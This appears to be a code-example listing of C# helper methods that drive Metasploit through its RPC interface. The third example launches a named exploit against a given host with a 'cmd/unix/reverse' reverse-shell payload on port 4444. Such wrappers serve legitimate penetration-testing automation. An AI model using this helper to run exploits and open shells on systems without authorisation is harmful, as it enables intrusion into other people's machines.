コード例 #1
0
 public static async Task<Dictionary<string, object>> ExecuteModule(
     this IMetasploitProvider metasploit,
     MetasploitModule module)
 {
     var response = await metasploit.ExecuteModule(module.Type, module.Name, module.Options);
     return response;
 }
コード例 #2
0
 public static async Task<(Dictionary<string, object> Result, string JobId)> ExecuteModuleJob(
     this IMetasploitProvider metasploit,
     MetasploitModule module)
 {
     var response = await metasploit.ExecuteModule(module.Type, module.Name, module.Options);
     var jobId = response["job_id"].ToString();
     return (response, jobId);
 }
コード例 #3
0
        public static async Task<Dictionary<string, object>> Exploit(
            this IMetasploitProvider metasploit,
            string moduleName,
            string rHost)
        {
            var module = new MetasploitModule("exploit", moduleName)
                .RHost(rHost)
                .LHost(metasploit.MetasploitAddress)
                .LPort(4444)
                .Payload("cmd/unix/reverse")
                .DisablePayloadHandler(true);

            return await metasploit.ExecuteModule(module);
        }